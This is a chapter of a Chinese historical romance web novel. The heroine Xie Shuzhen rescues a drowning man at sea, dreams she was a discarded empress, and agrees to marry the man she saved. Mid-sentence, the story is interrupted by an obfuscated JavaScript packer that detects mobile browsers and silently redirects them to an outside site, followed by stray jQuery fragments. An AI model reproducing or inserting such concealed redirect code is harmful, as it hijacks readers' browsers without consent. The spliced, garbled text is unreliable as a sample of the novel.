谢姝真一手托腮,左手轻轻敲桌,她心里面憋着一股劲。
若是可以的话,她恨不得现在就能托人打听家人的下落。
突然,船身剧烈的摇晃起来。随着“砰”的一声,谢姝真一下子就被甩到了甲板上。
她忍着伤口处传来的剧烈疼痛,双手撑住甲板,晃晃悠悠地站了起来。
见海上狂风大作,甲板上四下散落着碗碟、凳子,她跌跌撞撞地跑到船帆处,将帆布卷起。
“娘子,您怎么在此处?”琼娘踉跄跑来,扶着桅杆,见谢姝真也在,很是惊讶。
“琼娘,我见海上突遇暴风,船只乱晃,恐有倾覆之险,这才特意来收帆。”
琼娘露出诧异的神色,道:“想不到娘子竟还知道这些事,我本以为……”
谢姝真不好意思地说道:“少时,因着身子不大好,阿耶阿娘将我放在庄子上休养。庄子靠着埠头很近,闲暇时我总爱去那跟渔民们说话。”
琼娘这才笑着赞叹道:“竟是如此。”
谢姝真见船晃得没那么厉害了,心里面还是有些害怕,她不禁问道:“琼娘,你看那海浪,黑的渗人。真的无事吗?”
“娘子不怕,虽然现下是有点不太安稳。但是好在我们船大,若是小船,自然不行。”
谢姝真紧紧抓着帆,面色凝重,应了句:“好。”
正说着话,她往远处瞧去,见不远处竟还有艘渔船。
这渔船孤零零地飘着,船身摇晃剧烈,抖动不已。
谢姝真此时在的这艘船名“霍山号”,是艘大船。船舱共有四层,下面还有货舱,即便一间船屋进水也不用怕。
但,渔船可就不同。
她奇道:“是我们的人吗?”
琼娘顺着她指着的方向看去,见的确有一艘小渔船,“恐怕是出海的渔民,这……
娘子你看,这船翻了!”
谢姝真刚才还在愣神,正想着怎么去渔船旁救人,见琼娘这么说,她赶忙看去。
果不其然,那船已然侧翻倒了。
“琼娘,舵手可在?”
“在,我现在就喊赵伯来。许是今日吃酒,赵伯和李叔都没清醒。我这就去,娘子小心。”琼娘嘱咐道。
“好,你也小心。”
海浪啸叫着,似要把人吞灭。
谢姝真在心里默默祈祷,上苍保佑,让这艘船上的人平安活着。
她经历了这一遭,才知道生命有多宝贵,不能就这么轻易的死了。
等了片刻,还不见赵伯和李叔来,谢姝真心急如焚。
她盯着那被海浪掀翻的渔船,大气不敢出。就这么看去,渔船旁好像有个红色的点,还在动。
她使劲瞪大了双眼,暗道:不好!这应该是个人!离得太远了看不清,但肯定是活人无疑了。
她顾不上多想,马上跳下船去,往那渔船处游去。
三月的海,到底是刺骨。又是暴风,谢姝真游一米滑两米,被海浪推着走。
她自己都觉得好笑:阿耶阿娘当年让她去庄子上休养,她学得一身好功夫,极擅泅水。
那日在池子里,只是被海藻绊住。
想必,即便没人救她,她也能自救成功。
她只是不喜欢眼睛沾水,但眼下要救人,便也顾不上那么多了。
一炷香的时间过去,她终于游到了渔船那。
她费尽力气撑着身子爬到侧翻的船上,见海水已没过船身大半。
她急匆匆地去寻找刚才那个红点。
等到她找到那人时,那人的双手紧紧抓着船板,谢姝真用了好大的力气才掰开他的手。
她拽着这人,低头一看,是个男子。
她拖着这人往前游,可彼时她眼睛进水,实在是有些难受。
谢姝真抬头看天,见黑云密布,心里惆怅不已:这可怎么回去啊?
好在谢姝真从来就不是个认输的人,她要做的事,就没有干不成的。
从前是,现在还是。
阿娘说过,无论身处何地,无论如何,你一定要拼命的向上爬。
谢姝真浑身充满了力气,憋着一口气,带着这男子往霍山号游去。
老天保佑,这人一定要活着。
费这么大劲救回来的人,绝不能被阎王爷收走。
偏巧,天公不作美,海上下起了暴雨。
谢姝真不敢耽搁,连呼气都不敢了,她生怕自己再晚一分,便是万劫不复。
凭着肾上腺素的飙升,她游得比去程还快,不到一柱香的功夫,便到了霍山号下面。
季行舟不知什么时候出来了,站在甲板上,见谢姝真拼命的拍着船舱,身边还带着一个人。
他急忙道:“三娘,我来救你。”
说罢,他指挥李叔调整船舵,让琼娘去拿竹竿,自己抛掷绳索。
不消片刻,谢姝真便和那男子一起被救上了船。
琼娘为谢姝真披上一件斗篷,她这才好了点,不再发颤。
谢姝真之前已探过男子鼻息,好在,尚有气。
也顾不得什么暴雨了,谢姝真刚才真是被淋的睁不开眼。好在,琼娘现在为她撑着伞。
她缓了缓,又马上狠狠的拍那男子的后背,压他的胸膛,逼其吐水。
那男子接连吐出好几大口水来,慢慢睁开了眼睛。
谢姝真见那人似是活了,便也泄了气,一下子脱力般栽倒在地。
季行舟见她面色苍白,马上将她抱起,送她回屋,谢姝真看着他喃喃道:“大哥,求你救救他。”
季行舟点头如捣蒜,沉声道:“三娘放心,为兄一定为他请最好的郎中医治,一定救活他。”
谢姝真这才舍得闭上眼睛。
实在是太累了,好痛,真的好痛。伤口浸着海水,又冷又疼。
谢姝真沉沉地睡去了,梦里好像有人一直在喊她的名字,她也不在意了。
随他们去吧,她真的需要休息。
梦中她是皇后,是那人的结发妻子。最后却生生的成了弃子,郁郁而终。
谢姝真看不真切那人的样子,只能朦胧的看到那人左肩上有一颗红痣。
最后隐约听到几句:“愿娘,等我。”
那人转身便走,不再停留。
奇怪,谢姝真心想:他怎么知道我是愿娘,这名字,从未告知旁人。
除非……这梦是真的!
谢姝真寒毛竖起,想了又想。
那这人定是太子无疑!唯有太子才能继承皇位。
既然她是皇后,想必之前是太子妃。
她急着弄清楚事情原委,便赶忙去寻那人的身影,却感觉到有人推她。
她慢慢睁开了眼睛,向前看去。
是琼娘。
琼娘在她床边哭得梨花带雨,好不可怜。
谢姝真喉咙又干又痛,沙哑着发出声音:“琼娘,我……在……”
琼娘正哭的厉害,见她终于醒来,猛的扑倒船边。
“三娘,你吓死我了。郎中说你今日再不醒,就要为你操办后事了。”
“怎么……会……我睡了……多久?”
“整整两日。”琼娘拿着袖子擦自己的眼泪,嗔怪道:“一天之内救了你两次,可不许你死。”
谢姝真闻言,噗嗤一下笑了。
真好,短短几日,惊天巨变。
上天安排了什么不重要,重要的是她活下来了。
琼娘见她笑了,恨铁不成钢般说道:“三娘,再等一会便可救那人,你为何这么着急?”
谢姝真也不知道自己为什么那么着急,可能是因为她刚经历过生死,不忍心看人苦苦挣扎。
哪怕,只需再等上一时半刻。
但她不敢赌。
她望
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269056|182221||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着琼娘那蓄满泪水的眼珠,道:那人……可活了?”
“活着呢,他比三娘你醒的还早。郎君差人去给他瞧病,一点事没有。只是他撞到了头,什么都不记得了。
大夫为他施针诊治,这才堪堪转好,他叫,叫什么来着?”
琼娘绞着帕子,努力回忆。
想起来了,那人说他叫裴观廷!
她连忙道:“三娘,他说他叫裴观廷。”
谢姝真躺在床上,看着头顶,重复道:“裴观廷。”
“对了三娘,他还说要等你伤好见你呢。”
“见我?我有什么……好见的……”谢姝真疑惑道。
“许是想亲自登门道谢。三娘,我这就去喊他来,告诉他你醒了。”
不等谢姝真阻止,琼娘便一蹦一跳地跑出去,边跑边说:“三娘醒了,三娘醒了。”
谢姝真长叹一声,罢了,随她去吧。
到底是孩子。
她又闭上了眼。
不一会,屋外传来敲门声,那男子道:“裴观廷特来见过救命恩人,还望恩人准我相见。”
谢姝真强撑着从床上起来,快速把铺盖整理好,端坐在船上,道:“进来吧。”
她嗓子还疼着。
那男子“嘎吱”推门而入,三两步就走到了谢姝真的面前,抱拳行礼:“裴观廷见过恩人,恩人身体可无恙?”
“无妨……好多了。”谢姝真咳嗽着,淡定开口。
裴观廷见状,立刻为她端茶。
谢姝真接过,一饮而尽。
她放下茶杯,见裴观廷目露警觉,道:“不必忧心,这船很安全。等你伤好后,便可离开。断不会,携恩图报。”
裴观廷点点头,回道:“好,既如此,就不叨扰恩人了。恩人,请保重身体。”
得到谢姝真应允后,裴观廷转身便走。
他前脚刚出了门,后脚谢姝真就在那自言自语:这人,倒是长得不错。剑眉星目,堪称一绝。
值了!救了这么个美男回来。
谢姝真一股自豪感油然而生,谁说泅水没用?这不,用上了!
她躺在船上,静静地听外面雨落下的声音。
一个时辰后。
琼娘敲门而入,行至她的窗前,一把抓住她的手,道:“三娘,裴公子说要娶你!”
谢姝真一下子慌了神,道:“你从哪知道的消息,又胡说。”
琼娘撇撇嘴,不服气地道:“我偷偷听到的,方才他与郎君在议事堂,他亲口说的,断不会有错。”
“可他为什么要娶我?”谢姝真不解。
“一见钟情又是救命恩人。话本里不都说了吗?”琼娘不以为意。
谢姝真正欲反驳自己并不喜欢他,只是觉得他几分姿色。
还没等张口,裴观廷的声音便悠悠传来:“不知三娘可愿嫁我为妻?”
琼娘一看是裴观廷来了,忙站起来,乖巧行礼,道:“裴公子。”
裴观廷颔首,继而转头去看谢姝真。
谢姝真挣扎许久后,问了一句话:“你为何要娶我?”
她紧紧盯着裴观廷那双眸子,好似要从里面读出来答案。
裴观廷正视她,一字一顿道:“你既救了我,我自然要对你负责。女子名节最为重要,难道你想在海上一辈子吗?”
谢姝真似乎被说动了,良久,她道:“好,我愿意嫁你为妻。”
她心道:本来就要嫁人,左右不过是早晚的区别。而且,嫁给了裴观廷,这梦便不能成真了。
哪有太子强娶臣妻的。
不可能,绝不可能。
既如此,便嫁了。总比,在海上飘着一辈子好。况且,还要尽快去寻家人的下落。
裴观廷见她答应了,喜不自胜:“好!三娘,我一定会一辈子对你好。”
谢姝真羞红了脸,点点头。